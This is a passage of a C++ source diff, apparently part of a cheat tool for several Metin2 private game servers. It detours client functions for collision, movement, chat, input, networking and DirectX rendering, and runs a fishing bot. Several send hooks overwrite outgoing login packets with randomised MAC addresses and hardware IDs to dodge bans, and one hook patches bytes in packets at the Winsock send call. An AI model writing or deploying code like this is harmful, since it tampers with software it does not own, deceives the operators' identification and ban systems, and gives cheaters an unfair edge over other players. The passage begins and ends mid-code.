}; + // pGroundItemInstance->ThingInstance = NULL; + // pGroundItemInstance->dwStartTime = 0; + // pGroundItemInstance->dwEndTime = 0; + // pGroundItemInstance->eDropSoundType = 0; + // pGroundItemInstance->stOwnership = ""; + // Globals::groundItemList.insert(std::make_pair(packet_item_ground_add.dwVID, pGroundItemInstance)); + // } + // if (header == HEADER_GC_ITEM_OWNERSHIP) { + // TPacketGCItemOwnership packet_item_ownership; + // memcpy(&packet_item_ownership, destBuf, sizeof(TPacketGCItemOwnership)); + // if (Globals::groundItemList.count(packet_item_ownership.dwVID)) + // { + // Globals::groundItemList[packet_item_ownership.dwVID]->stOwnership = string(packet_item_ownership.szName); + // } + // } + // break; + case ServerName::PANGEA: + /*if (header == 0x32 && len == 8) + { + TPacketGCFishingPangea packetGCFishingPangea; + memcpy(&packetGCFishingPangea, destBuf, sizeof(TPacketGCFishingPangea)); + DWORD vid = GameFunctions::PlayerGetMainCharacterIndex(); + if (packetGCFishingPangea.subheader == 2 && packetGCFishingPangea.vid == vid) + { + Fish::Instance().AppendCastDirect(packetGCFishingPangea.count); + } + }*/ + if (header == 0xA5 && len == 133) + { +#ifdef FISHBOT + typedef struct packet_fishing_pangea_NEW + { + BYTE header; + + + DWORD vid; + char anim[40]; + + }; + packet_fishing_pangea_NEW packet_fishing_pangea; + memcpy(&packet_fishing_pangea, destBuf, sizeof(packet_fishing_pangea_NEW)); + if (GameFunctions::PlayerGetMainCharacterIndex() == packet_fishing_pangea.vid) + { + /*Logger::Add(Logger::FISH, true, Logger::WHITE, packet_fishing_pangea.anim);*/ + Fish::Instance().ParseMessage(packet_fishing_pangea.anim); + + } +#endif + } + break; + case ServerName::KEVRA: + { + //if (header == 0x59 && len >= 11) + //{ + // TPacketGCFishingKevra packet; + // memcpy(&packet, destBuf, sizeof(TPacketGCFishingKevra)); + // if (packet.subheader == 2 && packet.info == GameFunctions::PlayerGetMainCharacterIndex()) + // { + // Fish::Instance().AppendCastDirect(packet.click_count); + // } + //} + //break; + } + case ServerName::METINPL: + if (header == 42 && len >= sizeof(TPacketGCFishing) && Settings::FISH_ENABLE) + { + TPacketGCFishingGlobal packetGCFishing; + memcpy(&packetGCFishing, destBuf, sizeof(TPacketGCFishingGlobal)); + //if (/*packetGCFishing.subheader == 3 || packetGCFishing.subheader == 4 ||*/ packetGCFishing.subheader == 5 && packetGCFishing.info == GameFunctions::PlayerGetMainCharacterIndex()) + //{ + // return false; + //} + if (packetGCFishing.subheader == 2 && packetGCFishing.info == GameFunctions::PlayerGetMainCharacterIndex()) + { + Fish::Instance().AppendCastDirect(1); + return false; + } + } + break; + } +#ifdef DEVELOPER_MODE + if (len > 1) + { + try + { + PacketSniffer::Instance().ProcessRecvPacket(len, pDestBuf, (DWORD)_ReturnAddress() - Globals::hEntryBaseAddress); + } + catch (...) + { + printf("Packet parse Error!\n"); + } + } +#endif + return ret; +} + +static char hwid[39] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; +static string hwid1; +static string hwid2; +static string hwid3; +//################################################################################################################################################## +bool _fastcall Hooks::NewCNetworkStreamSend(void* This, void* EDX, int len, void* pDestBuf) +{ + try + { + BYTE header; + memcpy(&header, pDestBuf, sizeof(header)); + switch (Globals::Server) + { + case ServerName::WOM: + { + if (header == 0x6C && len == 1286) + { + char mac[22]; + int i, tp; + for (i = 0; i < 6; i++) + { + tp = rand() % 256; + + _snprintf(mac, 22, "%02X::%02X::%02X::%02X::%02X::%02X", rand() % 256, rand() % 256, rand() % 256, rand() % 256, rand() % 256, rand() % 256); + + } + strncpy((char*)pDestBuf + 1, &mac[0], 22); + } + } + + case ServerName::VIDGAR: + if (header == HEADER_CG_LOGIN3 && len == 361) + { + strncpy((char*)pDestBuf + 70, hwid1.c_str(), 43); + strncpy((char*)pDestBuf + 167, hwid2.c_str(), 43); + strncpy((char*)pDestBuf + 264, hwid3.c_str(), 43); + } + break; + case ServerName::VALIUM: + if (header == HEADER_CG_LOGIN3 && len == 140) + { + strncpy((char*)pDestBuf + 91, StringExtension::ToUpper(MiscExtension::RandomString(32)).c_str(), 32); + } + break; + case ServerName::SG2: + if (hwid[0] == NULL) + { + for (int i = 0; i < 39; i++) + { + if (MiscExtension::RandomInt(0, 1)) + { + hwid[i] = MiscExtension::RandomInt(0x41, 0x46); + } + else + { + hwid[i] = MiscExtension::RandomInt(0x30, 0x39); + } + } + } + if (header == 0x6D && len == 93) + { + for (int i = 0; i < 39; i++) + { + if (MiscExtension::RandomInt(0, 1)) + { + MemoryExtension::MemSet((DWORD)pDestBuf + 53 + i, hwid[i], 1); + } + else + { + MemoryExtension::MemSet((DWORD)pDestBuf + 53 + i, hwid[i], 1); + } + } + + } + if (header == 0x6F && len == 106) + { + for (int i = 0; i < 39; i++) + { + if (MiscExtension::RandomInt(0, 1)) + { + MemoryExtension::MemSet((DWORD)pDestBuf + 66 + i, hwid[i], 1); + } + else + { + MemoryExtension::MemSet((DWORD)pDestBuf + 66 + i, hwid[i], 1); + } + } + } + + if (header == 0xF1 && len == 67) + { + char u[3] = { 0x62, 0x69, 0x6e }; + int o = 0; + for (int i = 14; i < 17; i++) + { + + MemoryExtension::MemSet((DWORD)pDestBuf + i, (int)u[o], 1); + } + } + break; + } + bool ret = nCNetworkStreamSend(This, len, pDestBuf); + BYTE* destBuf = (BYTE*)pDestBuf; + PacketSniffer::Instance().ProcessSendPacket(len, pDestBuf, (DWORD)_ReturnAddress() - Globals::hEntryBaseAddress); + return ret; + } + catch (...) + { + } +} + +int _stdcall Hooks::NewCNetworkStreamSendAeldra(SOCKET s, const char* pDestBuf, int len, int flags) +{ + try + { + socketAeldra = s; + BYTE* recvBuff = new BYTE[len]; + memcpy(recvBuff, pDestBuf, len); + string packetHex = StringExtension::MakeHexString((BYTE*)pDestBuf, len, true, true); + packetHex = StringExtension::ReplaceString(packetHex, "50 00 0B 00 00 00 08", "50 00 0B 00 00 00 10"); + std::vector bytes = StringExtension::HexToBytes(packetHex); + const char* data = reinterpret_cast(bytes.data()); + int ret = nCNetworkStreamSendAeldra(s, data, len, flags); + BYTE* destBuf = (BYTE*)pDestBuf; + #ifdef DEVELOPER_MODE + PacketSniffer::Instance().ProcessSendPacket(len, (void*)data, (DWORD)_ReturnAddress() - Globals::hEntryBaseAddress); + #endif + return ret; + } + catch (...) + { + return true; + } +} + +//################################################################################################################################################## +void _fastcall Hooks::NewCPythonChatAppendChat(void* This, void* EDX, int iType, const char* c_szChat) +{ + if (iType == CHAT_TYPE_TALKING) + { + if (Settings::PROTECTION_SHOW_TALK_BALLOON_ENABLE) + { + string title = StringExtension::StringFormat("Normal[%s]", GameFunctionsCustom::PlayerGetName()); + MiscExtension::UpdateBalloon(Globals::mainHwnd, title.c_str(), c_szChat, NULL); + } + if (Settings::PROTECTION_PLAY_TALK_BEEP_ENABLE) + { + CreateThread(0, NULL, (LPTHREAD_START_ROUTINE)MiscExtension::PlayAlerSound, NULL, NULL, NULL); + } + if (Settings::PROTECTION_FLASH_TALK_ICON_ENABLE) + { + FLASHWINFO fi; + fi.cbSize = sizeof(FLASHWINFO); + fi.hwnd = Globals::mainHwnd; + fi.dwFlags = FLASHW_ALL; + fi.uCount = 3; + fi.dwTimeout = 0; + FlashWindowEx(&fi); + } + if (Settings::PROTECTION_SHOW_TALK_LOGS_ENABLE) + { + Logger::Add(Logger::MAIN, true, Logger::WHITE, c_szChat); + } + } +#ifdef FISHBOT + Fish::Instance().ParseMessage(c_szChat); +#endif + nCPythonChatAppendChat(This, iType, c_szChat); +} + +void _fastcall Hooks::NewCInputKeyboardUpdateKeyboard(void* This, void* EDX) +{ + if (MainForm::IsInitialized && MainForm::SideBarIsOpen) + { + ImGuiIO& io = ImGui::GetIO(); + if (io.WantCaptureKeyboard || io.WantTextInput) + { + return; + } + } + nCInputKeyboardUpdateKeyboard(This); +} + +DWORD* _fastcall Hooks::NewCResourceManagerGetResourcePointer(void* This, void* EDX, const char* c_szFileName) +{ + Fish::Instance().ParseMessage(c_szFileName); + //printf("Resource File: %s\n", c_szFileName); + return nCResourceManagerGetResourcePointer(This, c_szFileName); +} + +std::shared_ptr Hooks::screenToClientHwBpHook; +bool __stdcall Hooks::NewScreenToClient(HWND hWnd, LPPOINT lpPoint) +{ + auto protObj = Hooks::screenToClientHwBpHook->getProtectionObject(); + if (!MainCore::isInitialized) + { + Globals::mainHwnd = hWnd; + MainCore::Initialize(); + } + else + { + Hooks::screenToClientHwBpHook->unHook(); + } + return ScreenToClient(hWnd, lpPoint); +} + +PLH::VFuncMap directxVFuncs; +std::unique_ptr endSceneAndResetHook = nullptr; +HRESULT __stdcall Hooks::NewDirectEndScene(void* This) +{ + HRESULT ret = ((Globals::tDirectEndScene)directxVFuncs.at(EndSceneIndex))(This); + if (Device::pDevice != NULL) + { + if (!MainForm::IsInitialized) + { + MainForm::Initialize(); + } + else + { + MainCore::UpdateLoop(); + MainForm::Menu(); + } + } + return ret; +} + +HRESULT __stdcall Hooks::NewDirectReset(void* This, D3DPRESENT_PARAMETERS* ppReset) +{ +#ifdef DX9 + ImGui_ImplDX9_InvalidateDeviceObjects(); +#else + ImGui_ImplDX8_InvalidateDeviceObjects(); +#endif + HRESULT ret = ((Globals::tDirectReset)directxVFuncs.at(ResetIndex))(This, ppReset); +#ifdef DX9 + ImGui_ImplDX9_CreateDeviceObjects(); +#else + ImGui_ImplDX8_CreateDeviceObjects(); +#endif + return ret; +} + +//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +void Hooks::Initialize() +{ + //DirectX + PLH::VFuncMap redirect = { {(uint16_t)EndSceneIndex, (uint64_t)Hooks::NewDirectEndScene}, {(uint16_t)ResetIndex, (uint64_t)Hooks::NewDirectReset} }; + endSceneAndResetHook = std::make_unique((char*)Device::pDevice, redirect, &directxVFuncs); + endSceneAndResetHook->hook(); + //Game Hook + switch (Globals::Server) + { + case ServerName::PANGEA: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + //nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); + nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + //nCResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)DetourFunction((PBYTE)Globals::CResourceManagerGetResourcePointer, (PBYTE)NewCResourceManagerGetResourcePointer); + break; + } + case ServerName::ASENIS: + case ServerName::BARIA: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + //nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); + nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + //nCResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)DetourFunction((PBYTE)Globals::CResourceManagerGetResourcePointer, (PBYTE)NewCResourceManagerGetResourcePointer); + break; + } + case ServerName::VEDNAR: + case ServerName::MEDIUMMT2: + case ServerName::ORIGINS2: + case ServerName::CALLIOPE2: + case ServerName::CLASSIC: + case ServerName::VALIUM: + case ServerName::DEVERIA: + case ServerName::LUNA: + case ServerName::DRAGON: + case ServerName::DRAGON2: + case ServerName::G22: + { + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + //nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + break; + } + case ServerName::CarolineMT2: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + //nCResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)DetourFunction((PBYTE)Globals::CResourceManagerGetResourcePointer, (PBYTE)NewCResourceManagerGetResourcePointer); + break; + } + case ServerName::NEVILLA: + case ServerName::TASTRIA2: + case ServerName::ARATHAR: + case ServerName::EGORIA: + case ServerName::Ernidia: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + //nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + //nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + //nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + //nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + break; + } + case ServerName::GLEVIA: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + //nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); + //nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + //nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + //nCResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)DetourFunction((PBYTE)Globals::CResourceManagerGetResourcePointer, (PBYTE)NewCResourceManagerGetResourcePointer); + break; + } + case ServerName::WOM: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); + break; + } + case ServerName::KEVRA: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + // nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); + nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + // nCResourceManagerGetResourcePointer = (Globals::tCResourceManagerGetResourcePointer)DetourFunction((PBYTE)Globals::CResourceManagerGetResourcePointer, (PBYTE)NewCResourceManagerGetResourcePointer); + break; + } + case ServerName::TAMIDIA2021: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + //nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + //nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); + } + case ServerName::AELDRA: + { + //nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + //nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + //nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + //nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCNetworkStreamSendAeldra = (Globals::tCNetworkStreamSendAeldra)DetourFunction((PBYTE)LI_FN(GetProcAddress)(LI_FN(LoadLibrary)("wsock32.dll"), "send"), (PBYTE)NewCNetworkStreamSendAeldra); + //nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + //nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + //nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + 